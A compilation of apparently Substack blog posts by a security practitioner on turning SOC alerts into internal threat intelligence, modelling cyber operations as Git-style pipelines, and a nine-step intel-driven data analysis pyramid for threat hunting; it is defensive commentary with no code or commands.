And before the AI evangelists raise AI as the solution to the problems above let me say “yes”, you can use automation and AI to enrich your alerts with intel and other information. So what? Suddenly, human triage and analysis are no longer needed? If that’s the case, why would you still need alerts?

Alerts are human attention-sucking artefacts that are there for the purpose of actioning something.

If human validation is not required as an intermediary between the trigger (alert) and the action (a change to the system), then you have 100% automation right there. No need for alerts. They would simply add needless friction.

As much as a lot of people would love to believe it, as of 2025, we are not there yet.

Try to explain to your customers and clients that their precious personal data, money or resources are 100% protected by automated Bots and AI agents, no human ever validating, triaging, or investigating anything.

The gurus of the automated-block-chain-quantum-powered-AI-driven world forget that humans are also an interface. You need to talk to our messy, biased and conflicting biological APIs too. We are far away still from the automaton CEO.

Alerts and security analysts are here to stay. But how can we reduce burnout, placate turnover and extract high-value information from our SOC?

Could we transform your SOC into an intel provider? Could your analysts perform more complex and better value-add data analysis? Could we proactively inject this information back into our security controls?

The Slap

Some time ago, I had a realisation: an alert is essentially internal threat intel.

This led me to the next more profound realisation: any refined information about the risks to your systems and data is intel.

Wait a second bro, are you saying that the kinds of alerts you create by engineering detections are intel? Yes, I'm talking about the types of notables, warnings, observables or alerts that an EDR or SIEM would raise.

If we boil it down to the essentials, an alert is:

• A claim about the state of events in a system
  The claim can be true or false but is an interpretation of the system's state at a point in time. I will provide a basic example first, a plain and isolated alert: “Suspicious network activity detected: Multiple failed login attempts from an unusual IP address on a server hosting customer financial data”.1

• A state of events that indicates a departure from the expected or desired state of the system
  In other words: a risk. A state of affairs in the system capable of introducing disruptions that may impact the regular behaviour of the system. Following up on our example above, while failed login attempts can happen (users mistyping passwords), was there in the end a successful login attempt? A successful login attempt after multiple failures from an unusual IP address is a strong indicator of unauthorized access. This situation introduces a risk vector.

• Information that normally requires validation, triage and analysis
  So that it can inform some action. We raise alerts because they should prompt some sort of action. If human attention wasn't required, it wouldn't be called an alert, it would simply be a fully automated logic chain.

• Information that is normally enriched with added contextual information
  To build a situational awareness graph: who, what, when, where, why.

Threat Intelligence is:

• A claim about the state of events in a system
  The "system" happens to be the wider internet with all its nebulous digital metaverse and points of contact with our internal and external networks. In intel terms, we call it the "threat landscape". The claims made about this landscape can apply or not to your environment, and they can be true or false (not all intel is equally accurate) about the state of affairs it describes. It represents, however, an interpretation of observed data. Example of what you could find in a threat report: Recent observations indicate a surge in brute-force login attempts targeting financial institutions globally. Attackers are leveraging automated tools and botnets to systematically guess user credentials and gain unauthorized access to sensitive systems. This activity aligns with the broader trend of financially motivated cybercrime, with attackers seeking to exploit vulnerabilities for financial gain.

• A state of events that indicates a departure from the expected or desired state of the system
  Information about potential or realised violations to the confidentiality, availability or integrity of data, perpetrated by threat actors, that indicates a significant enough departure from a desired state of the world conducive to peaceful business. Something signals danger and hits the business risk thresholds: "too close to home".

• Information that normally requires validation, triage and analysis
  So that it can inform some action. If human brain attention wasn't required, it wouldn't be called threat intelligence. It is we, hominids, that experience this perceptual construct called a "threat".

• Information that is normally enriched with added contextual information
  Threat intel is a narrative knowledge graph that is more or less enriched and informs situational awareness.

I'm sure there are many flaws in my analogy, but beyond the commonalities and differences you may find too, the point of this realisation that slapped me in the face like a rogue frisbee on a windy day, is that intel is refined information about a state of affairs (be it systems, people or data) with the purpose of prompting actions to reduce the risk of your business operations.

Intel should slap you in the face.

(gently of course, unless you are doing everything wrong).

If it doesn’t slap you in the face, then it won’t prompt any actions from you.

But what if you don’t need to merely look outside to gather intel? What if you could mine intel internally and look a things from a different angle?

Your SOC as an Intel Provider?

As mentioned at the beginning, what are the two main detrimental factors all SOCs struggle with? → Burnout and Boredom.

SOCs out there suffer from high turnover and burnout rates. Good and ambitious analysts will yearn for more and want to be part of more complex initiatives, solving bigger problems.

What distinguishes an average analyst or engineer from one with potential for senior or lead roles is not just deepening technical skills but something even rarer: their ability to look at problems from one level up.

Aspiring senior engineers and analysts are the ones who apply themselves to identifying the patterns in problems. They don’t just focus on the task at hand. Excelling at the task at hand will only make you better at doing more of those tasks.

Engineers who identify patterns realise that there always is a higher level order where the problem exists. Like a unidimensional line that is part of a two-dimensional rectangle or three-dimensional cube.

Over the long term, being good at simple lines won’t make you good at rectangles. In the same way, focusing solely on being the best rectangle drawer won’t get you to cubes.

If alerts engineered by a detection team and triaged by a security analyst can be considered internal threat intelligence, shouldn’t your SOC become an intel provider?

There are many ways in which we can do this:

1. Tag your data. Most SOCs already do this by default.

2. Map MITRE and OSINT metadata to Threat Actor profiles.

3. Develop data analysis reports.

4. Feed intel back into the system as threat-hunting or detection initiatives.

Tag your data

By tagging your alert data, you generate metadata that can be later used to either perform high-level trend analysis or to train machine learning algorithms that can predict whether a particular alert deserves a little, average or a lot of attention.

Some of these tags may also come pre-applied via detection engineering or automation.

Usual tags used by SOCs out there for their alerts:

• Severity/Priority (High, Medium, Low, Critical, Informational)

• Threat/Attack Type (Brute-force, Phishing, Malware, DDoS, SQLi, XSS, Insider Threat, Data Exfiltration, use a more granular and comprehensive taxonomy based on your specific needs and common threats. MITRE ATT&CK can help inform this.)

• MITRE ATT&CK Framework (Tactic: TA0006 (Credential Access), TA0003 (Persistence), TA0011 (Command and Control); Technique: T1110 (Brute Force), T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder), etc.)

• Confidence Level (Confirmed, Suspected, High Confidence, Low Confidence)

• False Positive/Benign (False Positive, Benign, Expected Activity, etc.)

• Asset/System (DMZ Server, Web Application, Endpoint, Database Server, VPN, Tag the specific asset or system affected.)

• User (Admin, Employee, Contractor, System Account)

• Data Source (Firewall, IDS/IPS, EDR, SIEM, Log File)

• Status/Action Taken (Blocked, Quarantined, Investigated, Remediated, Needs Review)

• Evidence Collected (Registry, Files, etc.)

Map MITRE and OSINT metadata to Threat Actor profiles

Your first alert triage will normally reduce the volume of alerts that deserve attention by filtering out initial noise.

The remaining alerts, the ones deserving further investigation, should be accompanied by extensive OSINT investigations.

Perhaps a suspicious logon attempt from an unusual public IP to a high-risk service that is part of the infrastructure of your crown jewels ends up being a false positive, but what if you follow the trace of that IP?

• what ASN does it belong to?

• are there IPs in that ASN block that are or have been associated with malware callbacks or threat actors?

• if you perform OSINT pivoting and find various samples of malware calling back to sibling IPs inside the same ASN, what do these samples have in common?

• are there any threat actors out there known to actively exploit the types of services (e.g. IIS, Apache HTTP Server, etc.) the alert is pointing to?

Your investigation might return a false positive, but in order to arrive at that you had to well… perform an investigation. In doing so, you will find a lot of information that can be mined and used to further protect your systems.

Granted, the correlation factor is low. There is a huge element of serendipity in this approach.

But in researching information that helps you decide whether to escalate or discard an alert, you usually stumble upon useful information that can be operationalized.

An alert is an artefact that was created by a detection engineer somewhere along the chain (3rd party or in-house) and only made it to your data lake because someone decided it was significant enough to indicate a potential attack technique. This decision is made by act or omission, intentional or implied, but it’s a decision nonetheless.

If this attack technique is significant enough to be highlighted, why wouldn’t it be significant enough as a trigger that enables the investigation of which threat actors and which IOCs match those patterns over the last 6 months?

Threat Intelligence Teams out there don’t always have better criteria to choose one campaign or threat actor over another. Starting with the attack paths and techniques your organisation thinks are the most relevant is as good a start for OSINT as any (I will leave the need for threat modelling for another post).

We are mostly looking to mine relevant and usable IOCs here. They are perishable yes, but useful too if consumed at the right time and disseminated to your blocking controls.

Grab the information your security analysts produce with sweat and tears and map it to available threat actors.

You are NOT doing attribution here, you are simply doing correlation. Mapping will help you create a map of which techniques you mostly observe triggering and which threat actors they are associated with.

Even all the commodity attacks blocked at your perimeter like phishing emails with weaponized attachments can be a source of intel your SOC could utilise:

• what are the most common types of malware blocked at the perimeter?

• who are the most frequently targeted users? are there any patterns there?

• if you detonate some of the samples in dynamic analysis environments, which domains and IPs are they calling back?

• can you gather the list of callback IPs and domains and preemptively block them in case there are weaponised docos that can evade your perimeter controls?

You can see where this is going… bring in the lens of threat intel to your SOC operations.

Develop data analysis reports

Give your analysts the chance to collate all the data gathered in the previous steps.

Challenge them to craft meaningful data analysis reports:

• What’s the trend of TTPs whose alerts trigger in your environment? —> you need to ask yourself why this happens

• Which clusters of activity were investigated during the analysis of an alert?

• What are the top 10 FP that need to be urgently tuned? —> this helps reduce the grind

• How many IOCs did the SOC mine from the internet and applied to security controls? —> demonstrates value add and proactivity

• What is the MITRE mapping from TTPs —> Alerts —> Threat Actors? —> this could shed some light on neglected areas

• How many of your alerts are mapped to high-risk assets or crown jewels?

Allow your analysts to move one level up in strategic thinking, challenge them to analyse the high volumes of meta-data collected during a sprint or a month and produce relevant metrics.

Auf wiedersehen

I know some of the ideas put forward here have lots of caveats, I don’t intend to offer instantaneous solutions to all our problems.

I’m more about kicking off the conversation.

What do you think about this article?

I will enable a chat on Substack for all the subscribers so you can air your voice there :)

Zetabytes of Ideas

And just like that, we concluded another full cycle around the sun.

A lot was written in 2024 by the inhabitants of this online metaverse: rivers of ink as a common Spanish saying goes. It’s crazy to think that data creation in 2025 is predicted to reach an astonishing 181 ZB.

In this vast ocean of data, my musings are barely a drop within a drop.

Life happened. I wasn’t able to write as much as I would have liked last year, a situation I hope to remediate in 2025.

I’m grateful for all my readers, and those of you who sent so many DMs and engaged in interesting conversations. Some of the most engaging dialogues I’ve had in the last 12 months happened with people that were new to the field, or looking for orientation towards a flourishing career.

In this article, I will share the central ideas of all the writings from 2024, which I hope some of you have found insightful.

Key ideas shared in 2024

When looking at the articles I wrote last year, the volume has been low in terms of quantity. However, I think the aggregated volume of ideas shared was massive.

I think the central topic that drove my efforts can be summarised as follows: how can we extract meaningful information from threat intelligence so that it can drive proactive cyber defence and uplift security controls?

It sounds simple, but if it were, why is it so difficult for many organizations out there to truly build structural and situational awareness driven by threat intelligence?

These two types of awareness, structural and situational, were introduced in the Cyber Defence Matrix by Sounil Yu. Sounil traces a difference between activities that happen left of boom and right of boom. A “boom” is an undesirable event that occurs between PROTECT and DETECT, a disruption to regular business operations operated by a cyber threat.

To build awareness of any type, you need the ability to convert data into information, the latter into knowledge and this, finally, into impact.

This is easier said than done.

As T. S. Eliot put it:

In my career, I’ve observed many different ways of structuring threat intelligence to inform structural and situational awareness, but in most cases, I’ve seen two wrong approaches that fundamentally undermine the success of your threat intelligence, threat hunting, detection engineering and incident response efforts:

1. The Rube Goldberg Trap. Operational chokepoints driven by poor harvesting and delivery of threat-related information and a limited understanding of what threat intelligence can do for you. This leads to over-engineered functions or aspects of your cyber operations, resembling Rube Goldberg Machines that introduce unnecessary complications and deliver very little value.

2. The Spherical Cow Trap. Threat Intelligence’s function in the business is structured to solve a problem that (a) doesn’t address the real problems the business should be solving and (b) introduces new problems in downstream processes due to its inefficiency. This happens because of an oversimplified idea of how information is produced and consumed in cyber operations. You are operating with a model of how your function interacts with the system which is fundamentally wrong. It is a clear example of a disconnect between business needs and technical solutions.

Last year, I tried to propose different solutions to this problem. I was obsessed -and still am- with how to drive meaningful progress (as opposed to naive progress lacking orientation) around the mining, utilization and refinement of threat intelligence for detection engineering, hunting and cyber deception.

The above took on the more generic shape of the R1D3 Framework (Research, Discovery, Disruption and Development) inspired by the ideas previously shared in aimod2.com.

So 2024 was for me a year to mature the ideas I’ve laid out since 2020, which started with asking myself what are the core principles that drive successful Incident Response and Digital Forensics teams.

Let me summarize very briefly the articles written last year. I hope you’ve enjoyed them ;)

R1D3 Threat Driven Research Pipeline - Part 1

In R1D3 Threat Driven Research Pipeline - Part 1, we focus on the first phase (Research) of the RIDE Active Defence Framework, emphasizing the importance of efficient research in threat intelligence, specifically extracting meaning from unstructured data like reports and summaries to improve security controls. The article introduces a research data pipeline with steps for collecting, classifying, and analyzing threat information, using Microsoft's report on Volt Typhoon as an example.

R1D3 Threat Driven Research Pipeline - Part 2

In R1D3 Threat Driven Research Pipeline - Part 2, we explore the "Analysis" phase of our framework. The article covers entity and relationship extraction, linking these to your specific environment, and deciding whether to investigate further. This process transforms raw threat data into actionable information for active defence.

The Threat Hunting Pyramid of Pain

The Threat Hunting Pyramid of Pain presents a novel approach to threat hunting and analysis called the Intel-Driven Data Analysis (IDDA) Pyramid of Pain. A nine-step process, starting with understanding the context of a threat, extracting key indicators and highlighting the importance of assessing the organization's own environment, including its attack surface, vulnerabilities, and security controls. Finally, it advocates for proactive defence by simulating attacks and building predictive models to anticipate future threats.

Cyberops as Git Pipelines

In Cyberops as Git Pipelines, we ask ourselves what would it look like if your cybersecurity operations pipeline functioned like a Git repository. Each team acting as a branch, merging their insights and actions into a "main" pipeline to drive real-world impact. We propose a "Git-inspired" approach to scalable cyber operations.

Oh, you noticed?

In case it wasn’t already obvious, yes, I changed from Ghost to Substack. There was no point in me forking out significant $$$ each month to maintain a free site. Substack allows me to share my ideas for a much lower fee and comes with an entire ecosystem that is quite interesting.

Writing is a hobby for me. I need to reduce friction to the minimum in order to focus on what matters most: unfolding ideas about resilient cyber systems, active defence and tech leadership.

So what’s next man?

Keep an eye out for the exclusive Subscriber Chat I will kick off any time soon. A place for the Tales of a Cyberscout readership to share ideas and contribute to discussion topics.

I wish you all a wonderful 2025 and flourishing careers!

For a lot of us, intel somehow finds its way through the many nooks and crannies of our cyber operations pipeline and ends up doing some good stuff:

But as I've highlighted here and here, it is hard to know exactly what happens in the middle. We know what we want: to lower the operational risk of doing business for our companies, institutions, NGOs, etc. What's unclear is this: What are the many interacting pieces that make this happen? Where are the chokepoints? Where is the friction? How efficiently is decision-making pushed through the pipes? And finally, what is the insight that it generates?

In my many adventures into Active Defence, you've seen me enter a few mazes, unravel a few knots and unfold a new pathway to understand the relationships between threat intel, data pipelines, hunting, detection and deception. I've noticed a stable pattern across all these incursions: a holistic view of operational data workflows.

I'm not talking about data merely in terms of logging telemetry from your systems, debugging information for your software, or capturing metrics, I'm talking about the underlying operational architecture of how your data, no matter the source, is converted into actionable insight, enriched at each step of an interconnected web of streams that pull the right levers and results in business decisions.

Furthermore, I will risk a bold definition here: decision-making is the act of transforming available information into actions that generate the conditions for more decisions to be made.

Think about it in terms of finite and infinite games (James P. Carse)

What? Consider the following: decisions are only possible within the context of having options. When you don’t have options, there is no decision, there is just inertia, the kind of inertia that makes a rock continue indefinitely in outer space.

A rock floating in the vacuum of space experiences very little friction or other forces. Because of inertia, if that rock is moving, it will continue to move in a straight line at a constant speed practically forever, unless something acts upon it.

The whole point of making a decision is to give you the option to make more decisions in the future. You don’t want to end up in a checkmate situation, with no further moves to make. This is the equivalent of having your entire network encrypted by ransomware with no backups and no viable decryption options.

Information is essential to this process. Information is an optionality token. It can generate options for you and your business. As long as you can ingest information and convert it into insight, you can feed the decision-making machine of the business. This can translate into increased profit and optimized productivity.

There is a direct correlation between how efficiently information is transformed into insight, and your ability to make decisions that secure or transform the business.

But how do you know whether your cybersecurity operations workflows are efficient enough to translate information into action in optimal ways? How do you measure the utilization of these optionality tokens that information brings to you? How do you know if you are paying opportunity costs by not utilizing information flowing through your operational pipelines?

You need to start thinking about your cyber operations as a pipeline, an interconnected web of information that leads to actions taken or not taken. This can mean the difference between being in the newspapers the next day because of a new data breach, and nothing more than an actively exploited vulnerability patched just in time.

There is a meta-data layer of sorts, something that helps you keep your finger on the pulse.

I’m talking about operational cybersecurity business workflows, the interfaces between the people, process and technology that make your cyber operations run smoothly.

A data-centric organization does not structure its data pipeline around existing functions but redefines the functions around the data pipeline (like in Threat Hunting vs Detection Engineering: The Saga Continues).

It's all about information.

And information is about people.

In the context of practical cybersecurity operations, the most important type of information you will ever encounter has a name: threat intelligence.

If you cannot design, capture and monitor your operational pipeline in a way that is driving risk reduction and security control uplifts, all of it with a DevOps approach, then it will be hard to measure how intel translates into impact.

An Approach, the Git Way

So what is the best approach? What should your operational cyber pipeline look like? I came up with a few heuristics that might assist in the design process.

1. Intel and Impact Driven: Based on the profiling and continuous collection of information for the most important threats to your organisation, and clearly articulating how these threats drive impact by mapping them out to your risk or control areas at the other end.

2. Threat Modelled: The ability to translate your existing intel into concrete attack paths that can compromise your assets or data based on all the nuances of your specific environment (and not just generic intel).

3. DevOps Centric: A measure of consistency, automation readiness and your ability to scale operations at machine speed.

4. Three to Five Key Milestones: The points in your pipeline where you keep your finger on the pulse, the stages that give you an indication of the state of information at a point in time, metrics should capture key risk and performance indicators at each stage.

5. Fractal: Anywhere you look in your pipeline, at any milestone, you should be able to zoom in and find another pipeline that feeds the original milestone. This enables a design pattern where different teams feed into each other.

We can forever argue whether these heuristics are good or bad, but the point of a heuristic is that it works as a collective and battle-tested mental shortcut our brains use to simplify complex situations and make quicker decisions (they can also lead to bias by the way, so always reflect later on your quick decision).

I am not sure if these rules of thumb above work for everyone else, they do for me. But my main problem has always been: how to visualize this pipeline? We are sensorial, and I don't know about you but I understand a topic much better when I can visualize it.

Is there a concept that can shape the mental model needed to even think of how a data-driven intel-to-impact pipeline should be represented? I've been searching for this for quite some time and until recently, my best option was a fishbone diagram style:

However, something was missing because different teams or functions have dependencies on each other, before even feeding the main pipe.

The graph would look weird when representing these dependencies along the timeline of the main pipe:

Finally, my inner DevOps gnome realised the answer was simpler than anticipated: you need to think of your data pipeline as a Git commit pipe and your team as a Repository.

Whoa, hold on! Git? Repositories? Is this getting too weird?

Don't worry, it's simpler than it sounds. The true power lies in how it mirrors the way a successful data pipeline should function in a data-centric organisation, like a well-oiled code-merging machine!

it doesn't matter whether you are an "operational" function or not...

Think of it this way: each team in your cyber organisation is like a branch in a Git repository. Your IR team has their branch, your Detection Engineering team has theirs, and so on. Each branch is working on its own BAU workload and features, gathering unique data, and generating valuable insights.

Now, imagine your main data pipeline as the "main" branch in your repository. Just like developers merge their code changes into the main branch to create a final product, each team "merges" their data and insights into the main data pipeline, at different stages of the pipeline.

The end goal? to create an impact on the opposite end of the pipe, where you influence your risk and control areas.

Now, think of your team or function as a "repository" – a central hub where all these changes are stored and shared. This means everyone is on the same page, working together towards a common goal.

You have different Merging points where a function or a team's output plugs into another team's input at a certain point in the pipeline, effectively merging their operative outcomes with another team's operative input, triggering a process on their side.

At different points in the pipeline, you can keep your finger on the pulse by capturing and reporting on some metrics that are meaningful to you. Each function or team can have their own and you can come up with merged stats for the main pipeline:

While Git's ability to rewind is cool, that's not the real magic when it comes to building a data-centric operations workflow. By conceptualising operations this way, we are not saying you can go back in time, but that your operational pipe becomes a DevOpsified version of itself.

Applying it to R1D3

Remember R1D3? Let's use that framework as an example of how we can apply this "Git" thinking to your operations model.

We could draw the main stages of R1D3 in the main pipeline, and then we can imagine how some teams or functions would contribute to it at different points in time.

The main things to notice in the above diagram are:

• It's just a model, and as I always echo: all models are wrong, some models are useful

• A function like Intel obtains real-time data from the DFIR & Monitoring function based on analysis of signals

• Modelling done by Intel analysis feeds into your Discovery phase where people like your threat hunters could be working their magic

• An imagined Vuln. Management function would feed their assessments of the system's landscape to your Discovery phase too

• Your DFIR team will contribute and merge their efforts directly into the Disruption phase

• Eventually, all teams converge at the Development stage where insights are translated into impact by materially improving your controls

• Your pipeline works in terms of "Releases" where each release means that a certain amount of actions have been performed in your network to drive controls and risk either up or down

• There is a feedback loop, whereby all the artefacts released by your pipeline can feed back into your functions

Now, imagine if you could deploy such a pipeline by adapting your existing ITSM ticketing tools or workflow automation suites. What if you could actually have a repository where all your operational data is stored as YAML files or similar?

I will leave that to your imagination ;)

Thanks for staying with me this long ;) I hope you enjoyed my musings

Hello everyone, it seems like a long time since this cyberscout wrote one of his usual stories.

The tales of a cyberscout are simply whispers by the fireside in a forest's clearing.

In the wilderness, you need stories. Stories help you notice little things nobody else notices, stories become your inner compass, and they guide you towards meaning.

My stories speak of fantastic creatures and magical artefacts forged by mysterious wizards. This is how lore is passed down through generations. Generative lore I like to call it.

Allow yourself to sit and tune into the right frequency and it will offer many hints about a much deeper story though.

It is about vibration.

It cannot be reduced to ML algorithms.

There is no "statistical shortcut" through the sensorial centre of gravity that brings meaning to our lives.

Today, I will tell you a story about a Pyramid, an inverted one that is. There is no specific reason for it, other than I thought the narrow pointy base is representative of less effort (less surface, less scaffolding needed to maintain the structure) whereas the wider top represents a higher effort (more surface, more scaffolding and upward energy/resources required to maintain the structure). If at any point in time, the flow of resources needed to maintain the structure of the inverted pyramid is interrupted, it risks collapsing on itself.

For me, the inverted pyramid represents a struggle.

A fight against increasing entropy and decay.

Therein lies the pain. And the gain?

IDDA: Intel-Driven Data Analysis Pyramid of Pain

I originally wanted to call this a threat hunting pyramid of pain, but then I quickly realised it is a model that can be applied to many security data analysis scenarios, from detection engineering to threat intel and alert triage.

There is an underlying principle behind any successful security investigation: the need for intelligent, prioritized data analysis.

To successfully drive smart decisions, data and information need to be analysed folks, it doesn't matter what you plan to do with it afterwards. I've written about this extensively in RIDE: Intel Driven Research Pipeline, The Problem of Why: Threat-Informed Prioritization and The Threat Hunting Pipeline. So therefore I'm generalizing the "hunt" pyramid to an IDDA (intel-driven data analysis) pyramid.

Whatever dude... show me the goods!

Well, that would be describing the levels of the pyramid.

But first, remember something: this is just a model. It is not a "how to", I'm not telling you what to do or how you should do it, it's up to you to decide whether the model is useful or not. As they say in statistics

A note on assumptions: this pyramid assumes that you start from a near zero point of "minimal knowledge" about the threat and your environment.

Step 1: Contextual Entity and Relationship Extraction

As information about threats finds its way to your pipeline of work, the first thing the model asks for is to extract basic situational information to understand its significance. It is about developing a semantic layer that helps orient your analysis.

For this, an analyst would have to obtain information based on the 5 Ws: who, what, when, where, and why. This basic data will also help filter out non-significant information.

This is the start of your knowledge graph. This is why I talk about "entity" and "relationship" extraction, these are your nodes and edges, whether you do it formally or informally, you are implicitly building a knowledge graph.

Step 2: Structural Entity and Relationship Extraction

Once we've gained situational awareness and have applied a first filter on information, we need to inspect it for the low-hanging fruit, what I call atomic indicators and we normally know as IOCs.

This information might be structured in the form of a STIX schema, but even if it's not, it will be easy for you to recognise it: domains, IPs, urls, fingerprints of all kind (file hashes, PEHash, ImpHash, SSDEEP, JA3, JARM, JA4+, etc.).

Atomic indicators are the first layer of actionable information that you can plug into your alert validation, data analysis or threat hunting workstreams.

I call it Structural ERE (Entity and Relationship Extraction) because it is about inherently structured pieces of data that normally follow specific formats and patterns, making them easier to identify and extract than the unstructured information analyzed in the previous step.

Step 3: Behaviour Extraction

At this stage in the model, we now have situational awareness and we have extracted easily recognizable atomic indicators. What we are missing is the how.

Asking “how” is focusing on specifics, it is asking about tradecraft, techniques, procedures and operations.

Some of the questions you may ask yourself in this stage are:

• How does the hypothetical attack or attack chain work?

• What kind of system evidence would provide information about the attack chain? Are there any artifacts, logs, or indicators that can be used for further analysis or detection?

• How was the initial access gained? Was it through phishing, exploitation of a vulnerability, or some other method?

• What tools and techniques were used in each stage of the attack? Were there specific malware families deployed? Any unusual command-and-control mechanisms?

• What vulnerabilities were exploited? Are these known vulnerabilities? If not, what is the potential impact?

• What are the techniques used? What are the procedures for each sub-technique?

Contrary to atomic indicators, behavioural ones are composite, they normally require a more expressive logic to be described rather than a single datapoint (like an IP). We intend to identify these composite behavioural indicators. Your best friend here will be MITRE ATT&CK.

Step 4: Discovery Analytics

This is your first data analytics step where you shift your attention not towards hypothetical threat intel but towards your actual telemetry and data lake. Discovery analytics is your first stage of Exploratory Data Analysis (EDA).

Remember, we assume that you don't have a full understanding of your data yet, you have to put in the work to figure out the type, shape, volume and completeness of your telemetry. As you grow more familiar with your data, this step will be less involved

• What types of data do I have? Identify the different sources of data you have access to (logs, network traffic, endpoint data, etc.) and the types of fields they contain (timestamps, user IDs, file names, etc.).

• What is the overall shape of my data? How many rows (observations) and columns (features) does my dataset have? This gives you a basic understanding of the scale and dimensionality of your data. Evaluate how many entries/rows/logs you have during a certain time period, and run deduplication queries.

• What are the basic statistics of my data? Calculate summary statistics (mean, median, standard deviation, range, etc.) for numerical variables to get a sense of the central tendencies and spread of your data.

• Are there any time-based patterns or trends? Create time series plots to identify any changes or patterns over time.

• What are the distributions of my data? Visualize the distributions of your variables (histograms, box plots, density plots) to understand their shape and identify any outliers or unusual patterns.

• What is the quality of my data? Assess the completeness, accuracy, and consistency of your data. Identify any missing values, duplicates, or inconsistencies that may need to be addressed.

Step 5: Atomic Analytics

So now you have a better understanding of what types of telemetry are available to you and what fields you can use to achieve analysis objectives. Armed with this knowledge, you can easily run analytic queries that search for the presence of the atomic indicators you extracted in Step 2.

Any observed matches shouldn't be immediately considered "bad juju", but rather notable datapoints or events that require further investigation.

The model does not concern itself with what is the level of granularity here, but I assume any defender out there would want to be detailed and granular to ensure you are not missing out logs from remote corners of the network.

Step 6: Behavioural and Anomaly Analytics

Searching for behavioural patterns in your data is a complex effort. You need to have done a really good in-depth analysis in Steps 2, 3 and 4 to have a solid understanding of attack behaviours, expected system evidence (logs and other artefacts) and available telemetry. We aim to run analytic queries that will help us identify patterns indicative of suspicious behaviour.

Sometimes data queries won't be enough and you will have to reach out to users, managers and other stakeholders to shed light on observed anomalies.

An anomaly is simply an observation or pattern that significantly deviates from expected behaviour, as such, it can be classified as behavioural analytics.

The kinds of actions and questions I would want to answer in this stage of the pyramid are:

• Establish Baselines: If you haven't already, establish a baseline of normal behaviour for the types of behaviours you are analysing: system processes/handles/dlls, authentication activity, memory allocation, network traffic, etc. This provides a reference point for identifying anomalies.

• Are there any unexpected or anomalous events? Look for outliers, spikes, or sudden changes in the data that may indicate unusual activity.

• Are there any signs of lateral movement or privilege escalation? Look for events that indicate an attacker moving between systems, gaining access to sensitive data, or attempting to elevate their privileges.

• Are there any correlations between variables? Calculate correlation coefficients or create scatter plots to identify any relationships between pairs of variables.

• Are there any clusters or groupings in my data? Apply clustering algorithms or visualize the data in lower dimensions (PCA, t-SNE) to identify any natural groupings or segments within your data.

• How do different variables interact with each other? Explore interactions between variables through techniques like pivot tables, grouped analysis, or multi-dimensional visualizations.

Step 7: Operational Environment Assessment

Up until now we have focused on extracting meaningful information from threat intelligence and have projected that against the backdrop of our data lake. We interrogated our intel and our telemetry data but did not interrogate control data.

Without gathering information from our attack surface, existing vulnerabilities and security control deployments, we have an incomplete picture of the potential impact of threats analysed so far.

When performing discovery work, you may not want to get this far into the pyramid since this stage is not merely about understanding isolated operational controls, it is about correlating these with all the pieces of information you have collated so far to form a better picture of how investigated attack vectors and chains can impact your environment.

We are entering into the territory of threat modelling, attack surface and vulnerability management.

The kinds of questions I would be looking to answer here are:

Attack Surface Assessment:

• What assets could be potentially impacted? What are our critical systems, data, and infrastructure? What is their value? Can Crown Jewels potentially be impacted?

• What vulnerabilities relate to the attack vectors investigated so far? What are the known weaknesses in our systems, applications, and network? Are there any relevant unpatched vulnerabilities?

• What is the level of exposure of assets to the Internet? What is the attack surface for each asset?

• Which vulnerabilities are most likely to be exploited? Based on threat intelligence analysed so far and extracted TTPs, which vulnerabilities pose the greatest risk?

Control Effectiveness:

• What security controls do we have in place? You need to get detailed here, not just "yeah we have firewalls, IDS, endpoint protection, etc." You need to aim to understand the specifics, what particular ports are blocked? what are the specific process/memory controls applied via EDR or AV? what are the system policies applied to different endpoint families? what are the filtering rules of your email proxy? where can you find up-to-date information on cloud policies applied to your tenants? and so on...

• Are our controls properly configured and up-to-date? Are they effectively mitigating the risks we've identified?

• Do our controls provide sufficient visibility? Can we detect and respond to potential attacks promptly?

Impact Assessment:

• How would a successful attack impact our organization? What would be the financial, operational, and reputational consequences?

• Which attack vectors pose the greatest risk? Based on our attack surface and vulnerabilities, which attack paths are most likely to be successful?

• What is the potential blast radius of an attack? How far could an attacker move laterally within our network? What other assets could be compromised?

Step 8: Operational Environment Attack Path Discovery

You can see so far how we have navigated from hypothetical scenarios towards the turbulent waters of our real and nuanced operational environments. If you want to truly test your acquired knowledge so far, you need to get more real too.

This is where the model implements adversarial emulation by engaging pentesters, and red teams or utilizing automated attack simulation tools that systematically test existing controls.

This includes cloud, on-prem, hybrid, containers, physical and virtual assets, and everything in between.

The primary goal of this stage is to uncover the most likely and impactful attack paths in your environment.

1. Infiltrate: Gain unauthorized access to the target environment, simulating the initial stages of a real-world attack. This could involve exploiting the vulnerabilities you've researched so far, social engineering, or other techniques.

2. Evade: Bypass existing security controls and remain undetected within the environment for as long as possible. This demonstrates the effectiveness (or lack thereof) of the organization's defense mechanisms.

3. Escalate: Elevate privileges and gain access to sensitive systems, data, or resources. This assesses the resilience of the environment to lateral movement and privilege escalation attacks.

4. Impact: Demonstrate the potential impact of a successful attack.

Step 9: Operational Environment Embedded Predictive Analytics

And so fellow cyberscouts, we've climbed the pyramid. From the theoretical heights of threat intelligence to the nitty-gritty trenches of our own systems.

We've poked, prodded, and stress-tested our defences. Now it's time to crystallize all that nuanced and tailored knowledge into something truly powerful: predictive analytics.

I'm not talking about crystal balls.

Though that would be pretty cool.

I'm talking about weaving together everything we've learned—threat actor behaviours, our system's quirks, the strengths and weaknesses of our controls—into a model that can anticipate the next move. We're building an early warning system, one that doesn't just react to attacks, but sniffs them out before they even fully materialize.

Think of it like a seasoned hunter reading the subtle signs in the forest: a broken twig here, a disturbed patch of leaves there. We're training our systems to do the same, but with the digital breadcrumbs left by those lurking in our networks. It's about turning data into foresight, transforming our deep research into a tactical advantage.

This is the pinnacle of intel-driven data analysis guys. It's where we stop playing catch-up and start setting the pace.

How do we do that?

Well I'm not an expert data scientist, are you? If you have delved into these mysteries please reach out, perhaps you can write about it in the Tales of a Cyberscout ;)

Takeaways

It seems we now reached the summit of our pyramid, or should I say the base?

The tales whispered around the crackling fire have led to these nine takeaways:

1. 👂 Establish Context: Begin by extracting key information (who, what, when, where, why) from threat intelligence to understand the situation and filter out irrelevant data. This forms the foundation of your analysis.

2. 🍏 Pluck the low-hanging fruit: Identify and extract structured atomic indicators (IOCs) like domains, IPs, and hashes, the first layer of actionable information for further investigation.

3. 🕵️ Decipher the attacker's playbook: understand the "how" of an attack by uncovering clear tactics, techniques and procedures, and run a fine-grained pass over the information to reveal hidden patterns. Refocus and expand intel. You will need this to conduct proper data analysis later.

